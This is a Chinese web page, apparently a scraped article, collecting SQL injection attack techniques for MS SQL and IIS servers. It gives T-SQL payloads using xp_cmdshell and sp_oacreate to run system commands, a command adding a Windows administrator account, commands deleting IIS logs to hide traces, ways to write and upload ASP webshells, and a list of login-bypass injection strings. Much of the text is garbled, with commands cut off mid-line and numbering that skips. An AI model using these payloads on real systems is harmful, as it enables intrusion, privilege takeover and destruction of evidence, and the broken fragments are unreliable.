1、   用^转义字符来写ASP(一句话木马)文件的方法:
"l"^)^</script^> >c:\mu.asp';-- 

"l"^)^)%^> >c:\mu.asp

2、   显示SQL系统版本: 
"C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
"cmd.exe /c net user admin admin1234 /add")')


"cmd.exe /c net user")');--
"select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法
" or 1=1-- 
6)or 1=1--
7) or 'a='a
8)" or "a"="a 
9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人气%' and 1=1 and '%'='

20、寻找网站路径的方法汇总:
1)查看WEB网站安装目录命令:
"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。

regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。

6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。

7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错: 
"l" -v "win","c:\winnt\system32"' 
"true" –s:' 
"http://127.0.0.1/win/test.asp">http://127.0.0.1/win/test.asp
12下一页阅读全文

标签:
SQL注入

免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com